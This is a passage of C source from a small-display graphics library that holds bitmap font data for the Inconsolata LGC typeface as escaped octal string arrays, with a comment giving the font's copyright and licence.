\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\7\\7\\7\\7\\17\\37\\177\\377\\376\\374\\370\\340\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\77\\177\\377\\377\\370\\300\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\361\\371\\377\\177\\77\\37\\37\\37\"\n  \"\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\377\\377\\377\\377\\3\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\370\\370\\376\\377\\177\\77\\77\\17\\3\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\340\\360\\370\\374~>\\36\\36\\36\\36>>|\\374\\370\\360\\340\\300\\300\\300\\200\\300\\300\\340\\360\\370\"\n  \"\\376|\\70\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FreeType-Inconsolata LGC-Medium-R-Normal--62-620-72-72-P-281-ISO10646-1\n  Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Some glyphs modified by Greg Omelaenko, using FontForge.\n  Glyphs: 18/658\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_inr46_4x8_n[6916] U8X8_FONT_SECTION(\"u8x8_font_inr46_4x8_n\") = \n  \" :\\4\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340 \\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\360\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\\17\\377\\377\\377\\177\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\"\n  \"\\340\\200\\0\\0\\0\\1\\3\\3\\3\\7\\7\\7\\7\\17\\17\\216\\376\\374\\377\\177\\377\\374\\376\\316\\17\\17\\17\\7\\7\\7\\3\\3\"\n  \"\\3\\1\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\177\\37\\17\\3\\0\\0\\0\\3\\7\\37\\77\\376\\374\\370\\360\\300\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\377\\377\\377\\377\\377\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\"\n  \"\\36\\36\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\340\\340\\340\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\17\\17\\37\\377\\377\\377\\377\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\360\\370~\\77\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0xxxxxxxxxxxxxxxxxxxxxxxxx\"\n  \"x\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\370\\370\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\7\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\370\\360\\360\"\n  \" 